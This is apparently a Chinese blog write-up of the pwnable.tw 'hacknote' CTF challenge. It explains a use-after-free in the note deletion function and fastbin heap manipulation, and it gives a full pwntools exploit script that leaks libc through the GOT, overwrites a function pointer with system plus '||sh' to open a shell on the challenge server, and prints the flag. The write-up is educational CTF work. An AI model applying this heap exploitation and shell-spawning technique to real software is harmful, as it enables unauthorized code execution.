Pwn

pwnable-tw5

又找到了一个简单(才怪)的题目，这里刷一刷：

hacknote [200 pts]

首先打开，和之前的题目类似，都是一个nemu，基本逻辑是：建立笔记，可以将笔记打印，同时也可以将笔记删除。然后发现有一些细节有点问题:

当指定了大小的时候，我们再输入数据的时候，发现我们已经进行了输入（？）仿佛是因为输入流的原因未将上一个内容的/n读入导致。

再多次输入数据之后，我们就发现之后的【输出流会被原先的输入流干扰】，这种现象，显然不是正常的。所以我们优先怀疑一下在建立笔记的时候出现的问题：

从函数中可以看出来，此时存在一个结构体:note,大致是如下

1
2
3
4
struct note{
    void *print_cont(struct note);
    char* content;(由第二个malloc分配)
}

其中，print_cont会将content的内容输出，相当于是抽象成了一个类。然而仔细看上述代码，会发现有一个奇怪的地方:全局变量:note_num表示当前有多少个笔记，然而这个笔记的上限为【5】，在计算机中其实
就是相当于可以输入【6】个数字，然而实际上，存在一个全局变量notes，里面存放了【5】个note的指针，而且每一个指针的空间都是由add_note中创建的，导致当存满5个数字后，也不会报错。
然后看delete_note函数:

这里有一个显然有问题的地方:这里在进行delete的时候，完全没有将指针指空，所以到之后的操作的时候，此时的地址一直为一个【野指针】。据测试，就算此处变为野指针后，此处依然可以被free（这是为啥？）。
接下来的print与delete类似，只不过是将删除换成了调用对应位置的函数,读取变量对应位置，并且取出当前地址中的内容（正确的话就是函数）进行调用。

所以综上，如果能够结合1，2往某个位置写入shellcode，然后再在3中进行执行的话，就能够完成攻击。那么首先要考虑如何写入我们需要的数据。然后仔细看了很多遍，看来。。果然还是要碰上堆相关的攻击了。（之前比赛的时候因为不会做堆的相关，导致了虽然找到一个printf的格式化输出漏洞却无法利用然后被人打爆了。。。）

后来在漫长的探索过程中发现了几个可能出问题的地方:

  • 当我们首先add note之后，会往print_cont中写入一个函数地址，注意此时是这个状态:

    此时如果我们将此数据delete之后，由于这里没有将指针置为空，导致此时的数据变为:

    由于堆的处理机制，fast bin中只会处理fd指针，而我们又是先将content free，所以此时会将本来的函数指针指向的当前的content的prev_size中
    有点沮丧。。如果能够指到content中的话就能够直接执行shellcode了
    后来发现，巧妙的设计这个位置，就能够实现溢出攻击！我们先假设进行了一次add note，那么此时的空间变为

    然后此时我们将上述的chunk free，首先由于两者大小一样，会被归在同一个fast bin之中，同时由于此时先将content的内容释放，于是内容会变成:

    根据特点，此时的堆空间如图，但是注意到，此时的note[0].content和note[0].print_cont的指针位置并没有发生变化，依然是指向这两个位置。然后在我们第二次add note的时候，就会变成:

    显然此时是无法造成什么本质上的破坏的。但是！会发现此时的note[0].print_cont，就是note[1].print_cont!也就是说，如果我们能够将本来属于print_note的空间分配给content,我们就有机会修改print_note中的函数地址!
    为了构造出上述的形态，我们需要实现:

    此时的content大小与note.print_cont大小（8byte）不一致，于是content会和print_cont分配到不同的fast bins上。然后，如果我们第三次申请了note的话，那么就会形成如下的样子。

    注意到此时的note[2].content指向了note[0].print_cont的位置上，那么此时我们就可以通过修改content内部的内容，从而将print_cont的内容给修改，让其指向我们需要的函数地址，而且我们还可以将content’s address ，从而决定我们要输出的内容修改！这里考虑到题目给出了libc，那么我们肯定是需要泄漏地址的，于是我们此时将puts的函数地址0x080484d0和其.got的地址0x0804a024写过去，从而得到此时的lib的相对位置。为了能够再次实现跳转，此时我们将note[2]都free，那么此时会变成如下的状态

    注意到此时的note[0].print_cont和note[1].print_cont的位置发生了调换，是由于note[2]中的content比print_cont先释放。然后此时我们再此add note，加入note[3]

    由于fast bin是LIFO的原则，所以这里始终是靠下方的chunk被分配给了print_cont，所以这一次，我们通过给出计算出的system的地址(原地址为0x0003a940)和’/bin/sh’字符串的地址(源地址为00158E8B)，从而完整注入攻击！
    后来发现这么做不行。。。仔细看反汇编如下
1
2
3
4
5
6
7
8
9
.text:08048923                 mov     eax, [ebp+index]
.text:08048926                 mov     eax, ds:notes[eax*4]
.text:0804892D                 mov     eax, [eax]
.text:0804892F                 mov     edx, [ebp+index]
.text:08048932                 mov     edx, ds:notes[edx*4]
.text:08048939                 sub     esp, 0Ch
.text:0804893C                 push    edx
.text:0804893D                 call    eax
.text:0804893F                 add     esp, 10h

仔细看这一部分会发现，此时的栈中存放的居然是【note本身！】根据函数的调用我们会发现，由于【note是通过将自己作为参数传入，从而将自己+4处的conteent打印输出】，所以当我们构造好了企图用print_cont来执行我们的puts函数的时候，【我们还会将自己传入，然后打印自己】！虽然我们仍然可以利用它的函数泄漏地址，但是当我们想要利用system的时候，我们要如何才能将我们的数据压入栈中呢。。。。
那么估计不是在这里进行攻击了。。还得换地方。。
尝试修改思路，直接跳转到堆上执行函数。方法就和之前一样！只不过这一次我们再次将两者释放，此时note[0].print_cont和note[1].print_cont再次回到原来的位置上，这一次我们申请空间，只不过此时会往堆上跳转。
后来又失败了。。。理由不明。。。。QVQ爆炸
过了几天突然想起来，好像还有一种方法叫做ROP的可以尝试一下，于是赶紧收集了一下libc.so.6中的数据。
后来注意到不行。。毕竟人家是要覆盖返回值的，也就是至少是要能够接触到栈，我这边只有堆可以利用啊啊啊。。。

更新 5.26

不可思议！！！！！！原来思路一直是正确的！唯一的问题源自于system的参数问题!!!，之前一直纠结于【如何利用system，因为system参数的位置上是一个地址】。最近见了不少大佬，发现system之下有一个奇技淫巧！！！

1
system("hsasoijiojo||/bin/sh")

这样执行居然是可以行得通的！！！由于我们的字符串就存放在地址的后面，于是我们构造的字符串只要带有";sh"，那么就能够执行后半部分的语句!!!(可恶啊困了我三个月的问题)
附上可执行代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96

# -*- coding:utf-8 -*-
from pwn import *

DEBUG = 0
if DEBUG:
    r = process('./hacknote')
    context.log_level = 'debug'
    context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(r, "b *0x080488C3 ")
else:
    r = remote('139.162.123.119', 10102)
#raw_input()
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc = ELF('./libc_32.so.6')

puts_addr = 0x080484d0
puts_got = 0x0804a024
puts_real = 0x0005F140

print_note_content = 0x0804862b
read_got = 0x0804a00c

system_offset = 0x0003a940
bin_offset = 0x00158e8b

# payload = p32(print_note_content) + p32(read_got)


def addNote(size):
    r.recvuntil('choice :')
    r.sendline('1')
    r.recvuntil('size :')
    r.sendline(str(size))
    r.recvuntil('Content :')
    r.sendline('a'*size)


def leakPuts(puts_addr, puts_got):
    r.recvuntil('choice :')
    r.sendline('1')
    r.recvuntil('size :')
    r.sendline(str(8))
    r.recvuntil('Content :')
    r.sendline(p32(puts_addr)+p32(puts_got))

def deleteNote(index):
    r.recvuntil('choice :')
    r.sendline('2')
    r.recvuntil('Index :')
    r.sendline(str(index))


def printNote(index):
    r.recvuntil('choice :')
    r.sendline('3')
    r.recvuntil('Index :')
    r.sendline(str(index))
    msg = r.recv(4)
    return msg

if __name__ == "__main__":
    # first ,create two chunk
    addNote(24)
    addNote(24)

    # then ,delete this two
    deleteNote(0)
    deleteNote(1)

    # next, create a chunk that size like a note
    leakPuts(print_note_content ,puts_got)

    # leak the puts address
    addr = printNote(0)
    puts_got_plt = u32(addr)
    addr_libc = puts_got_plt - puts_real
    system_addr = addr_libc + system_offset
    bin_addr = addr_libc + bin_offset

    deleteNote(2)
    # begin attack
    r.recvuntil('choice :')
    r.sendline('1')
    r.recvuntil('size :')
    r.sendline("8")
    r.recvuntil('Content :')
    r.sendline(flat([system_addr , "||sh"]))

    r.recvuntil('choice :')
    r.sendline('3')
    r.recvuntil('Index :')
    r.sendline("0")

    r.interactive()

最终得到

1
FLAG{Us3_aft3r_fl3333_in_h4ck_not3}

完结撒花！！！

调试的技巧

这里由于给了libc，本地测试的话可能libc是不一样的，可以通过设置环境变量将libc设置为题目所给的

1
export LD_PRELOAD="/home/xxxx/libc_32.so.6"